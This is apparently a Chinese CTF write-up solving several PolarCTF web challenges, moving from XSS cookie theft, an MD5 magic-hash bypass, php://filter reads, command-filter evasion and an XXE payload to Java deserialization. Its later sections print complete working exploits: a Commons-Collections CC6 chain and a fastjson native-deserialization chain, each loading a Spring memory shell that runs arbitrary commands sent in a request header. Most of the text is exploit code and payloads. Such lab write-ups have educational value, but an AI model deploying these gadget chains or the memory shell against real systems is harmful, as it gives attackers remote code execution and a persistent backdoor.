扫扫看 都提示了,直接扫目录拿到flag.php了
debudao 源码中看了一个js逻辑,会直接将我们的输入插入到页面上
1 2 3 4 5 6 7 8 if (document .location .href .indexOf ("search=" ) >= 0 ){ var str=window .location .search ; var ipt=decodeURIComponent (str.split ("search=" )[1 ]); var ipt=ipt.replace (/\+/g ," " ); document .write ("<p>" + ipt + "</p>" ); $flag="flag{asdwafvx84va54fefe8asvd2a4d8awdavavefv84}" ; }
但是这里注释掉了一个html转义的代码,那估计是打xss了,看看能不能拿一下cookie
1 <script>alert (document .cookie )</script>
用户的cookie就是flag
审计 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 no no no! <?php error_reporting (0 );include ("flag.php" );highlight_file (__FILE__ );if (isset ($_GET ['xxs' ])) { $input = $_GET ['xxs' ]; if (is_array ($input )) { die ("错误:输入类型不允许为数组。" ); } if (!preg_match ("/^0e[0-9]+$/" , md5 ($input ))) { die ("错误:输入的MD5值必须以'0e'开头,并跟随数字。" ); } if (!is_numeric ($input )) { die ("错误:输入必须是数字。" ); } die ("恭喜:" .$flag ); } else { die ("错误:必须设置正确参数。" ); } ?> 错误:必须设置正确参数。
随便传一个md5的值是0e开头的纯数字就行
tnl 传入单引号有回显SQL报错,后面打sql一直没打通,看wp才知道是伪协议读文件。。。。
1 2 3 4 5 6 7 8 9 10 11 12 13 <?php error_reporting (0 );@$file = $_POST ['twothree' ]; if (isset ($file )){ if ( strpos ( $file , "1" ) !== false || strpos ( $file , "2" ) !== false || strpos ( $file , "index" )){ include ($file . '.php' ); } else { echo "You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near 'twothree'' at line 1" ; } }
有限制,直接把1、2或者index放在过滤器里面就行
1 twothree=php://filter/convert.base64-encode/1/resource=flag
你知道sys还能这样玩吗 #极限RCE 打开就是403,扫目录也没扫出来什么,不过在sys.php中有东西
1 2 3 4 5 6 7 8 9 10 11 12 13 <?php show_source (__FILE__ );if (isset ($_POST ['cmd' ])){ echo "<pre>" ; $cmd = $_POST ['cmd' ]; if (!preg_match ('/ls|dir|nl|nc|cat|tail|more|flag|sh|cut|awk|strings|od|curl|\*|sort|ch|zip|mod|sl|find|sed|cp|mv|ty|grep|fd|df|sudo|more|cc|tac|less|head|\.|{|}|tar|zip|gcc|uniq|vi|vim|file|xxd|base64|date|bash|env|\?|wget/i' , $cmd )) { $output = system ($cmd ); echo $output ; } echo "</pre>" ; } ?>
好家伙这么多命令,懒得看怎么绕过了,直接用变量拼接
1 2 cmd=a=l;b=s;$a$b / cmd=a=ca;b=t;c=fla;d=g[^x]txt;$a$b /$c$d
或者也可以直接用php的cli执行代码
1 cmd=php -r 'system(hex2bin("636174202f666c61672e747874"));'
不需要引号的版本
1 cmd=php -r 'system(hex2bin(ff3b636174202f666c61672e747874));'
ExX? 有个phpinfo,扫一下目录有一个/dom.php
1 2 3 Warning: DOMDocument ::loadXML (): Empty string supplied as input in /var /www/html/dom.php on line 5 DOMDocument Object ( [doctype] => [implementation] => (object value omitted) [documentElement] => [actualEncoding] => [encoding] => [xmlEncoding] => [standalone] => 1 [xmlStandalone] => 1 [version] => 1.0 [xmlVersion] => 1.0 [strictErrorChecking] => 1 [documentURI] => [config] => [formatOutput] => [validateOnParse] => [resolveExternals] => [preserveWhiteSpace] => 1 [recover] => [substituteEntities] => [nodeName] =>
有一个DOMDocument::loadXML()报错缺少输入字符串
结合题目名字,猜测是xxe实体注入,直接传就行
1 2 3 4 5 6 7 8 9 10 11 12 GET /dom.php HTTP/1.1 Host : 624012bf-720d-4c1f-bcde-7afd5ef60a53.www.polarctf.com:8090Upgrade-Insecure-Requests : 1User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36Accept : text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding : gzip, deflate, brAccept-Language : zh-CN,zh;q=0.9Connection : keep-aliveContent-Length : 173<?xml version="1.0" encoding="utf-8" ?> <!DOCTYPE test [ <!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=flagggg.php" > ]> <xml > <name > &xxe; </name > </xml >
CC链 先把jar包下下来反编译并放到idea中
很明显了,存在CC链反序列化
看一下控制器
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 package org.polar.ctf.controller;import org.polar.ctf.util.Tools;import org.springframework.stereotype.Controller;import org.springframework.web.bind.annotation.RequestMapping;import org.springframework.web.bind.annotation.ResponseBody;@Controller public class ReadController { @RequestMapping({"/read"}) @ResponseBody public String getObj (String obj) throws Exception { byte [] Bytes = Tools.base64Decode(obj); Object Obj = Tools.deserialize(Bytes); return Obj.toString(); } }
base64解码并调用deserialize
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 package org.polar.ctf.util;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.util.Base64;public class Tools { public static byte [] base64Decode(String base64) { Base64.Decoder decoder = Base64.getDecoder(); return decoder.decode(base64); } public static String base64Encode (byte [] bytes) { Base64.Encoder encoder = Base64.getEncoder(); return encoder.encodeToString(bytes); } public static byte [] serialize(final Object obj) throws Exception { ByteArrayOutputStream btout = new ByteArrayOutputStream (); ObjectOutputStream objOut = new ObjectOutputStream (btout); objOut.writeObject(obj); return btout.toByteArray(); } public static Object deserialize (final byte [] serialized) throws Exception { ByteArrayInputStream btin = new ByteArrayInputStream (serialized); ObjectInputStream objIn = new ObjectInputStream (btin); return objIn.readObject(); } }
没过滤的反序列化操作,先用URLDNS测试一下发现不出网,那就打内存马吧
这里用CC6打
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 package org.polar.ctf;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;import java.util.HashMap;import java.util.Map;import static org.polar.ctf.util.Tools.*;public class EXP { public static void main (String[] args) throws Exception { byte [] bytes = Files.readAllBytes(Paths.get("C:\\Users\\23232\\Desktop\\附件\\jar\\out\\production\\jar\\Memshell.class" )); TemplatesImpl templates = (TemplatesImpl)getTemplates(bytes); Transformer[] transformers = new Transformer []{ new ConstantTransformer (templates), new InvokerTransformer ("newTransformer" ,null ,null ) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); Map<Object,Object> lazyMap = LazyMap.decorate(new HashMap <>(),new ConstantTransformer ("1" )); TiedMapEntry tiedMapEntry = new TiedMapEntry (lazyMap,"2" ); HashMap<Object,Object> hashmap = new HashMap <>(); hashmap.put(tiedMapEntry, "3" ); lazyMap.remove("2" ); setFieldValue(lazyMap,"factory" ,chainedTransformer); String poc = base64Encode(serialize(hashmap)); System.out.println(poc); } public static Object getTemplates (byte [] bytes) throws Exception{ TemplatesImpl templates = new TemplatesImpl (); setFieldValue(templates,"_name" ,"a" ); setFieldValue(templates, "_bytecodes" , new byte [][]{bytes}); setFieldValue(templates,"_tfactory" ,new TransformerFactoryImpl ()); return templates; } public static void setFieldValue (Object object, String field_name, Object field_value) throws Exception { Class c = object.getClass(); Field field = c.getDeclaredField(field_name); field.setAccessible(true ); field.set(object, field_value); } }
内存马
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import java.io.IOException;public class Memshell extends AbstractTranslet { static { org.springframework.web.context.request.RequestAttributes requestAttributes = org.springframework.web.context.request.RequestContextHolder.getRequestAttributes(); javax.servlet.http.HttpServletRequest httprequest = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getRequest(); javax.servlet.http.HttpServletResponse httpresponse = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getResponse(); String[] cmd = System.getProperty("os.name" ).toLowerCase().contains("windows" )? new String []{"cmd.exe" , "/c" , httprequest.getHeader("Cmd" )} : new String []{"/bin/sh" , "-c" , httprequest.getHeader("Cmd" )}; byte [] result = new byte [0 ]; try { result = new java .util.Scanner(new ProcessBuilder (cmd).start().getInputStream()).useDelimiter("\\A" ).next().getBytes(); } catch (IOException e) { throw new RuntimeException (e); } try { httpresponse.getWriter().write(new String (result)); } catch (IOException e) { throw new RuntimeException (e); } try { httpresponse.getWriter().flush(); } catch (IOException e) { throw new RuntimeException (e); } try { httpresponse.getWriter().close(); } catch (IOException e) { throw new RuntimeException (e); } } @Override public void transform (DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } }
ezJson 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 package com.polar.ctf.controller;import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.JSONArray;import com.alibaba.fastjson.JSONObject;import java.io.ByteArrayInputStream;import java.io.InputStream;import java.io.ObjectInputStream;import java.util.Base64;import org.springframework.stereotype.Controller;import org.springframework.web.bind.annotation.RequestMapping;import org.springframework.web.bind.annotation.ResponseBody;import org.springframework.web.servlet.tags.BindTag;@Controller public class ReadController { @RequestMapping({"/read"}) @ResponseBody public String getUser (String data) throws Exception { if (data == null ) { throw new IllegalArgumentException ("Data cannot be null" ); } byte [] b = Base64.getDecoder().decode(data); if (b == null ) { throw new IllegalArgumentException ("Decoded data cannot be null" ); } InputStream inputStream = new ByteArrayInputStream (b); if (inputStream == null ) { throw new IllegalArgumentException ("Input stream cannot be null" ); } ObjectInputStream objectInputStream = new ObjectInputStream (inputStream); Object obj = objectInputStream.readObject(); JSONArray dataArray = new JSONArray (); JSONObject item = new JSONObject (); item.put("code" , (Object) 200 ); item.put(BindTag.STATUS_VARIABLE_NAME, (Object) "success" ); item.put("obj" , (Object) JSON.toJSONString(obj)); dataArray.add(item); return dataArray.toJSONString(); } }
高版本的fastjson,有反序列化的点那就打fastjson原生反序列化
POC 用map去绕过高版本的安全机制
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 package com.polar.ctf;import com.alibaba.fastjson.JSONArray;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import javax.management.BadAttributeValueExpException;import java.io.ByteArrayOutputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;import java.util.Base64;import java.util.HashMap;public class Poc { public static void main (String[] args) throws Exception { byte [] bytes = Files.readAllBytes(Paths.get("C:\\Users\\23232\\Desktop\\附件\\jar\\out\\production\\jar\\Memshell.class" )); TemplatesImpl templates = (TemplatesImpl) getTemplates(bytes); JSONArray jsonArray = new JSONArray (); jsonArray.add(templates); BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException (null ); setFieldValue(badAttributeValueExpException,"val" ,jsonArray); HashMap map = new HashMap (); map.put(templates, badAttributeValueExpException); serialize(map); } public static Object getTemplates (byte [] bytes) throws Exception{ TemplatesImpl templates = new TemplatesImpl (); setFieldValue(templates,"_name" ,"a" ); setFieldValue(templates, "_bytecodes" , new byte [][]{bytes}); setFieldValue(templates,"_tfactory" ,new TransformerFactoryImpl ()); return templates; } public static void setFieldValue (Object object, String field_name, Object field_value) throws Exception { Class c = object.getClass(); Field field = c.getDeclaredField(field_name); field.setAccessible(true ); field.set(object, field_value); } public static void serialize (Object object) throws Exception{ ByteArrayOutputStream data = new ByteArrayOutputStream (); ObjectOutputStream oos = new ObjectOutputStream (data); oos.writeObject(object); oos.close(); System.out.println(Base64.getEncoder().encodeToString(data.toByteArray())); } }
内存马
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import java.io.IOException;public class Memshell extends AbstractTranslet { static { org.springframework.web.context.request.RequestAttributes requestAttributes = org.springframework.web.context.request.RequestContextHolder.getRequestAttributes(); javax.servlet.http.HttpServletRequest httprequest = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getRequest(); javax.servlet.http.HttpServletResponse httpresponse = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getResponse(); String[] cmd = System.getProperty("os.name" ).toLowerCase().contains("windows" )? new String []{"cmd.exe" , "/c" , httprequest.getHeader("Cmd" )} : new String []{"/bin/sh" , "-c" , httprequest.getHeader("Cmd" )}; byte [] result = new byte [0 ]; try { result = new java .util.Scanner(new ProcessBuilder (cmd).start().getInputStream()).useDelimiter("\\A" ).next().getBytes(); } catch (IOException e) { throw new RuntimeException (e); } try { httpresponse.getWriter().write(new String (result)); } catch (IOException e) { throw new RuntimeException (e); } try { httpresponse.getWriter().flush(); } catch (IOException e) { throw new RuntimeException (e); } try { httpresponse.getWriter().close(); } catch (IOException e) { throw new RuntimeException (e); } } @Override public void transform (DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } }